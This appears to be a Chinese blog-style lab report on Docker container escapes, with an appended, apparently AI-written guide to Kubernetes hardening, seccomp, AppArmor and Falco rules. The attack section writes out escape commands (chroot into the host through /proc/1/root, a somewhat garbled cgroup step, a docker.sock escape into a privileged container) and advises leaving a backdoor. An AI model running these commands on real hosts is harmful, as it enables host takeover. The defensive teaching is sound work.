容器逃逸攻防实战报告
> 用大白话记录我折腾容器安全的全过程
---
## �� 实验目的
就是想知道:**容器到底安不安全?攻击者怎么逃出去?我们怎么防?**
简单说就是:我当黑客攻击自己,然后当管理员修复漏洞。
---
## ��️ 环境准备
### 我的"战场"
- 系统:Ubuntu 20.04
- Docker版本:20.10.x
- 目标:把实验室的容器当靶子打
### 用到的工具
```bash
# 其实就三个东西
docker # 容器管理
curl # 测试网络
bash # 写脚本
```
---
## �� 第一回合:当黑客(攻击篇)
### 1. 侦察 - 看看有啥"肥肉"
```bash
# 查看所有在跑的容器
docker ps
# 输出:
# attacker-priv (特权模式,好欺负)
# attacker-cap (有SYS_ADMIN,半桶水)
# attacker-socket (挂了docker.sock,大肥肉)
```
### 2. 攻击特权容器(最容易)
```bash
# 进入容器
docker exec -it attacker-priv bash
# 试试能不能看到外面的世界
ls /proc/1/root/
# 哇!能看到宿主机文件!
# 直接chroot逃逸
chroot /proc/1/root /bin/bash
# 看看是不是到宿主机了
hostname
# 输出: ubuntu-lab-02 ✅ 逃逸成功!
```
**攻击过程就像:** 发现门没锁,直接推门就进去了
### 3. 攻击有SYS_ADMIN的容器
```bash
docker exec -it attacker-cap bash
# 查看能力
cat /proc/self/status | grep CapEff
# CapEff: 00000000a82425fb (包含SYS_ADMIN)
# 尝试挂载宿主机
mount /dev/sda1 /mnt
# 报错,但换个方式
# 用cgroup逃逸
mkdir /sys/fs/cgroup/memory/test
echo 1 > /sys/fs/cgroup/memory/test/cgroup.procs
chroot /proc/1/root /bin/bash
# 成功!虽然比特权容器麻烦点
```
**攻击过程就像:** 门锁了,但窗户开着,翻窗进去
### 4. 攻击挂载docker.sock的容器
```bash
docker exec -it attacker-socket sh
# 检查docker.sock
ls -la /var/run/docker.sock
# 有!赶紧利用
# 创建特权容器逃逸
docker run --rm -it \
--privileged \
-v /:/host \
ubuntu:22.04 \
chroot /host /bin/bash
# 逃逸成功!��
```
**攻击过程就像:** 捡到管理员钥匙,直接开门
---
## �� 第二回合:当管理员(防御篇)
### 发现问题,得治!
#### 问题1:特权模式太危险
```yaml
# 原来的配置(危险!)
privileged: true # 这等于把家钥匙给贼
```
#### 问题2:root用户随便用
```yaml
# 原来的配置
user: root # 贼进来就是老大
```
#### 问题3:危险capabilities没关
```yaml
# 原来的配置
cap_add:
- ALL # 给了所有武器
```
#### 问题4:docker.sock乱挂载
```yaml
# 原来的配置
volumes:
- /var/run/docker.sock:/var/run/docker.sock # 把控制台给贼了
```
---
### �� 我的"药方":安全配置
```bash
# 创建安全容器的命令
docker run -d \
--name secure-app \
--privileged=false \ # 1. 关门!禁止特权
--user 1000:1000 \ # 2. 给个普通员工账号
--read-only \ # 3. 系统文件只读,不能改
--security-opt no-new-privileges:true \ # 4. 禁止升级权限
--cap-drop ALL \ # 5. 没收所有武器
--cap-add NET_BIND_SERVICE \ # 6. 只给必要的(绑定80端口)
--tmpfs /tmp:rw,noexec,nosuid,size=64M \ # 7. /tmp单独管理
ubuntu:22.04 \
sleep infinity
```
**翻译成人话:**
- 不给管理员权限
- 给个普通账号
- 系统文件不让改
- 不准升级权限
- 没收危险工具
- 只留必需的工具
---
## �� 第三回合:验证防御效果
### 写个测试脚本,看看防御行不行
```bash
#!/bin/bash
# 我写的测试脚本
echo "�� 开始测试防御效果..."
# 测试1:试试能不能读密码文件
docker exec secure-app cat /etc/shadow 2>&1
# 输出:cat: /etc/shadow: Permission denied ✅
# 测试2:试试能不能逃逸
docker exec secure-app chroot /proc/1/root /bin/bash 2>&1
# 输出:chroot: failed to run command '/bin/bash': No such file or directory ✅
# 测试3:试试能不能挂载
docker exec secure-app mount /dev/sda1 /mnt 2>&1
# 输出:mount: /mnt: permission denied ✅
# 测试4:看看是谁在跑
docker exec secure-app whoami
# 输出:1000 ✅ 不是root!
echo "✅ 防御有效!所有攻击都被挡住了!"
```
### 对比结果
| 测试项目 | 攻击容器 | 安全容器 | 结果 |
|---------|---------|---------|------|
| 读密码文件 | ✅ 能读 | ❌ 不能读 | ��️ 防住了 |
| chroot逃逸 | ✅ 成功 | ❌ 失败 | ��️ 防住了 |
| 挂载文件系统 | ✅ 成功 | ❌ 失败 | ��️ 防住了 |
| 运行用户 | root | 1000 | ��️ 防住了 |
---
## �� 我学到的"血泪教训"
### 攻击者的"快乐源泉"
1. **特权模式** = 给贼金钥匙 ��
2. **root用户** = 贼进来就是总经理 ��
3. **SYS_ADMIN** = 给贼万能工具包 ��
4. **docker.sock** = 把保险柜密码贴墙上 ��
### 管理员的"葵花宝典"
1. **关特权** = 把门锁好 ��
2. **非root** = 给普通工牌 ��
3. **删cap** = 没收工具箱 ��️
4. **只读系统** = 文件都贴封条 ��
5. **监控告警** = 装摄像头 ��
### 我的"金句"
> **安全不是把门关死,而是让贼进不来、出不去、拿了东西跑不掉!**
---
## �� 最终结论
### 成功防御的"三板斧"
```bash
# 三板斧配置
--privileged=false # 不给特权
--user 1000:1000 # 不是root
--cap-drop ALL # 没收工具
--read-only # 系统只读
```
**效果:** 攻击者进容器就像进了笼子,只能看不能动!
### 攻击 vs 防御 对比表
| 场景 | 攻击者视角 | 管理员视角 |
|------|-----------|-----------|
| 没防御时 | "嘿嘿,随便进出" | "完了,被黑了" |
| 防御后 | "靠,门锁了" | "耶,挡住了" |
---
## �� 我的"实战心得"
### 攻击心得
1. **先侦察** - 看看有哪些容器,什么配置
2. **找软柿子** - 挑特权容器下手
3. **组合拳** - 多种逃逸方法都试试
4. **留后门** - 逃出去了记得留个门
### 防御心得
1. **默认拒绝** - 只给必须的,其他的都关掉
2. **最小权限** - 够用就行,多了是祸害
3. **层层设防** - 一道防线不够就多几道
4. **持续监控** - 别等被黑了才发现
---
## �� 最后说两句
这个实验让我明白了一件事:
**容器安全就是"最小权限原则"**
- 能不给的权限就不给
- 能用普通用户就不用root
- 能只读就不给写
- 能监控就不放任
就像看家:
- 你让贼进来没问题
- 但别给他钥匙
- 别让他乱翻东西
- 装个监控看着他
**一句话:防人之心不可无,权限分配要谨慎!** ��️
---
## �� 我的脚本全家桶
为了方便以后用,我写了一套脚本:
```bash
# 1. 自动攻击测试
./attack-test.sh # 扮演黑客
# 2. 自动防御配置
./defense-setup.sh # 扮演管理员
# 3. 验证防御效果
./verify-defense.sh # 检查防御行不行
# 4. 一键对比
./compare-all.sh # 攻击和防御一起看
```
**用起来贼爽!想练手的时候跑一下,立马知道防御有没有用。**
---
## �� 附录:我常用的命令速查
```bash
# 查看容器特权
docker inspect 容器名 | grep Privileged
# 查看capabilities
docker exec 容器名 cat /proc/self/status | grep CapEff
# 查看挂载
docker inspect 容器名 | grep -A 10 Mounts
# 安全运行容器模板
docker run -d \
--name 服务名 \
--privileged=false \
--user 1000:1000 \
--read-only \
--security-opt no-new-privileges:true \
--cap-drop ALL \
--cap-add NET_BIND_SERVICE \
--tmpfs /tmp:rw,noexec,nosuid,size=64M \
镜像名
```
---
**这篇报告就写到这,我去继续折腾了!** ��
好!我来给你讲**如何防御容器逃逸**,从最简单到最严格,用大白话说清楚:
## 防御思路:层层设防,不让攻击者得逞
**核心原则:** 即使攻击者进了容器,也逃不出来!
---
## 第1层:容器运行时配置(最简单、最有效)
### 1.1 不要用root用户跑容器!
```yaml
# ❌ 错误做法
spec:
containers:
- name: app
# 默认就是root,危险!
# ✅ 正确做法
spec:
containers:
- name: app
securityContext:
runAsUser: 1000
runAsGroup: 1000
runAsNonRoot: true
```
**大白话:** 给容器一个"普通员工"账号,而不是"总经理"账号
---
### 1.2 禁止特权容器!
```yaml
# ❌ 错误做法
spec:
containers:
- name: app
securityContext:
privileged: true # 绝对禁止!
# ✅ 正确做法
spec:
containers:
- name: app
securityContext:
allowPrivilegeEscalation: false # 禁止提权
```
**大白话:** 不给"万能钥匙",只给"普通钥匙"
---
### 1.3 去掉危险权限(Capabilities)
```yaml
# ❌ 错误做法 - 默认给了太多权限
spec:
containers:
- name: app
# 默认有很多capabilities
# ✅ 正确做法 - 只保留必要的
spec:
containers:
- name: app
securityContext:
capabilities:
drop: ["ALL"] # 删除所有权限
add: ["NET_BIND_SERVICE"] # 只加需要的(比如绑定80端口)
```
**危险权限清单(必须去掉):**
| Capability | 能干啥 | 去掉后 |
|-----------|--------|--------|
| CAP_SYS_ADMIN | 挂载文件系统、改内核 | 无法逃逸 |
| CAP_DAC_OVERRIDE | 绕过文件权限 | 无法读敏感文件 |
| CAP_SYS_PTRACE | 调试其他进程 | 无法偷进程信息 |
| CAP_NET_ADMIN | 改网络配置 | 无法搞网络破坏 |
**大白话:** 只给"必要的工具",不给"万能工具箱"
---
### 1.4 使用只读根文件系统
```yaml
spec:
containers:
- name: app
securityContext:
readOnlyRootFilesystem: true # 根目录只读
volumeMounts:
- name: tmp
mountPath: /tmp # 只有/tmp可写
```
**大白话:** 容器里的系统文件"只读不能改",攻击者想写文件没门
---
## 第2层:限制宿主机资源访问
### 2.1 严格限制hostPath挂载
```yaml
# ❌ 危险 - 挂载了宿主机根目录
volumes:
- name: host-root
hostPath:
path: / # 危险!
# ✅ 安全 - 只挂载必要的子目录
volumes:
- name: logs
hostPath:
path: /var/log/app # 只挂载日志目录
type: DirectoryOrCreate
```
**大白话:** 即使要挂载,也只在墙上开"小窗户",不开"大门"
---
### 2.2 禁止Docker Socket挂载
```yaml
# ❌ 绝对禁止!
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock # 千万不能挂!
# ✅ 如果不小心挂了,用PSP/OPA禁止
```
**大白话:** 不能把"物业控制台"给容器里的程序
---
## 第3层:使用安全策略(高级防御)
### 3.1 PodSecurityPolicy (PSP) - K8s旧版
```yaml
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false # 禁止特权
allowPrivilegeEscalation: false # 禁止提权
requiredDropCapabilities: ["ALL"] # 去掉所有cap
runAsUser:
rule: MustRunAsNonRoot # 必须非root
volumes:
- configMap
- emptyDir
- secret
# 不包含 hostPath!禁止挂载宿主机
```
### 3.2 PodSecurityStandard (PSS) - K8s新版
```yaml
# 给namespace打标签
kubectl label ns default pod-security.kubernetes.io/enforce=restricted
# restricted策略会自动禁止:
# - 特权容器
# - root用户
# - 挂载宿主机目录
# - 危险capabilities
```
**大白话:** 给每个"房间"装统一的门禁系统
---
### 3.3 使用OPA/Gatekeeper(更灵活)
```yaml
# 定义策略:禁止任何容器挂载/var/run/docker.sock
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
name: disalloweddocker
spec:
crd:
spec:
names:
kind: DisallowedDocker
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package disalloweddocker
violation[{"msg": msg}] {
volume := input.review.object.spec.volumes[_]
volume.hostPath.path == "/var/run/docker.sock"
msg := "禁止挂载docker.sock"
}
```
**大白话:** 自定义更细的"安检规则"
---
## 第4层:内核级防御(最底层)
### 4.1 Seccomp - 限制系统调用
```bash
# 创建seccomp配置文件
{
"defaultAction": "SCMP_ACT_ERRNO", # 默认禁止
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{
"names": ["mount", "unshare", "pivot_root"], # 危险调用
"action": "SCMP_ACT_ERRNO" # 拒绝
},
{
"names": ["read", "write", "open"], # 必需调用
"action": "SCMP_ACT_ALLOW" # 允许
}
]
}
```
**大白话:** 给容器一个"只能做固定动作"的紧箍咒
---
### 4.2 AppArmor/SELinux - 强制访问控制
```bash
# AppArmor配置文件
#include <tunables/global>
profile container-profile flags=(attach_disconnected) {
# 只能访问这些文件
/usr/bin/* ix,
/etc/* r,
/var/log/app/* w,
# 禁止访问敏感目录
deny /root/** rwx,
deny /etc/shadow rwx,
}
```
**大白话:** 即使有权限,也只能访问"允许访问"的地方
---
## 第5层:监控和检测(事后发现)
### 5.1 使用Falco(运行时安全监控)
```yaml
# Falco规则:检测容器逃逸行为
- rule: Container Escape via Mount
desc: 检测mount宿主机的行为
condition: >
evt.type = mount and
(fd.directory = "/proc" or fd.directory = "/sys")
output: "容器试图挂载敏感目录 (user=%user.name command=%proc.cmdline)"
priority: CRITICAL
```
**大白话:** 装个"监控摄像头",时刻盯着异常行为
---
### 5.2 审计日志
```bash
# 开启Kubernetes审计
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
resources:
- group: ""
resources: ["pods"]
# 记录所有特权容器的创建
```
---
## 防御清单(管理员检查表)
### ✅ 必须做的(高优先级)
- [ ] **禁止特权容器** (`privileged: false`)
- [ ] **禁止root用户** (`runAsNonRoot: true`)
- [ ] **去掉SYS_ADMIN等危险capabilities**
- [ ] **使用只读根文件系统** (`readOnlyRootFilesystem: true`)
- [ ] **禁止挂载Docker Socket**
- [ ] **开启PodSecurityStandard (restricted模式)**
### �� 建议做的(中优先级)
- [ ] 使用Seccomp限制系统调用
- [ ] 使用AppArmor/SELinux
- [ ] 限制hostPath挂载到必要目录
- [ ] 资源限制(CPU/Memory)防止DoS
### �� 进阶做(高安全环境)
- [ ] 使用Falco实时监控
- [ ] 定期安全扫描镜像
- [ ] 网络策略限制东西向流量
- [ ] 使用mTLS加密通信
---
## 实际案例对比
### ❌ 未防御(你的实验环境)
```yaml
container:
user: root # root用户
privileged: true # 特权模式
capabilities: 全部都有 # 包含SYS_ADMIN
mount: /var/run/docker.sock # Docker socket
hostPath: / # 挂载宿主机根目录
```
**结果:** 攻击者轻松逃逸!
### ✅ 防御后(安全环境)
```yaml
container:
user: 1000 # 非root
privileged: false # 非特权
capabilities: [NET_BIND_SERVICE] # 只给必要权限
readOnlyRootFilesystem: true # 只读根目录
mount: /app/logs # 只挂载日志目录
```
**结果:** 攻击者进了容器也出不来!
---
## 一句话总结
**防御容器逃逸 = 最小权限原则**
- 不给root → 用了普通用户
- 不给特权 → 关了特权模式
- 不给危险权限 → 只给必要的capabilities
- 不给挂载敏感目录 → 只挂载必需目录
- 层层监控 → 发现异常立即报警
**记住:** 安全不是说"100%防住",而是让攻击者"更难"逃逸,同时"及时"发现!��️
更多推荐
所有评论(0)